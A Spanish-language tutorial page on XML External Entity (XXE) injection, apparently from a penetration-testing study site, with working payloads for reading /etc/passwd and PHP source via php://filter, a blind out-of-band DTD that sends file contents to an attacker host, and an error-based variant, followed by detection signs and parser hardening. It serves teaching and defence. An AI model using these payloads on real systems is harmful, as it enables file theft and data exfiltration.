the_open_door
café
ESEN
← Volver al índice

XML External Entity (XXE) Injection

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

XXE (inyección de entidad externa XML) es una vulnerabilidad que aparece cuando una aplicación parsea XML de entrada y su parser tiene habilitada la resolución de entidades externas. El XML permite definir entidades, abreviaturas que el parser expande al procesar el documento; las entidades externas (SYSTEM) hacen que el parser lea un recurso externo (un fichero local, una URL) y lo sustituya en el documento.

Lectura de ficheros (reflejada)

Se declara una entidad externa que apunta a un fichero y se referencia en un campo cuyo valor se refleje en la respuesta:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
  <title>&xxe;</title>
</bugreport>

Al procesar el XML, &xxe; se sustituye por el contenido de /etc/passwd. En Windows, apuntar a file:///C:/Windows/win.ini. Si el fichero tiene caracteres XML (<, &), la lectura directa rompe el parseo: ahí conviene el wrapper base64.

Código fuente con php://filter

Para leer un .php (que contiene <, ?), se codifica en base64 con el wrapper y luego se decodifica en local:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<bugreport><title>&xxe;</title></bugreport>

XXE ciego (OOB): exfiltración con DTD externa

Cuando no hay reflejo, se usan entidades parámetro y una DTD externa alojada por el atacante para sacar el fichero por HTTP hacia su servidor:

<!-- payload enviado a la app -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://<lhost>/evil.dtd"> %dtd;]>
<foo>&exfil;</foo>
<!-- evil.dtd servido en http://<lhost>/evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://<lhost>/?d=%file;'>">
%wrap;

El servidor lee el fichero, lo mete en el subdominio/parámetro de una petición a http://<lhost>/ y ahí se recoge (con nc -nlvp 80 o un servidor propio).

Error-based (sin OOB de salida)

Si no se puede sacar por HTTP pero el parser filtra errores en la respuesta, se fuerza un error que incluya el contenido del fichero en el mensaje:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY x SYSTEM 'file:///nonexistent/%file;'>">
%err;

Vías de entrega

Cualquier punto donde la aplicación reciba XML: formularios, APIs SOAP y sobre todo ficheros que por dentro son XML:

Interceptar con un proxy y ver Content-Type: application/xml o un cuerpo XML es la señal para el atacante.

Qué se puede conseguir

Cómo detectarlo. Del lado defensivo, la firma está en el propio cuerpo XML: un <!DOCTYPE con <!ENTITY y sobre todo la palabra clave SYSTEM con esquemas file://, php://filter, http:// o expect:// es inequívoca (un WAF que inspeccione el cuerpo la marca). El XXE ciego/OOB es aún más visible en la red: provoca que el servidor haga una petición saliente (HTTP o DNS) hacia el host del atacante para cargar la DTD externa, así que una conexión de salida del servidor de aplicación hacia un dominio desconocido justo tras recibir un XML es la señal de oro. La variante SSRF deja peticiones internas a 169.254.169.254 o a loopback. La clave: XML entrante que contenga declaración de entidad, más cualquier salida de red inesperada del parser.

Defensa. Deshabilitar las entidades externas y las DTD en el parser (en PHP/libxml, libxml_disable_entity_loader(true) en versiones antiguas; en general, configurar el parser para no resolver DOCTYPE/entidades). Usar formatos más simples (JSON) cuando no se necesita XML, y validar/aislar cualquier entrada que deba parsearse como XML.

HerramientasXXEinjector

Máquinas donde se aplica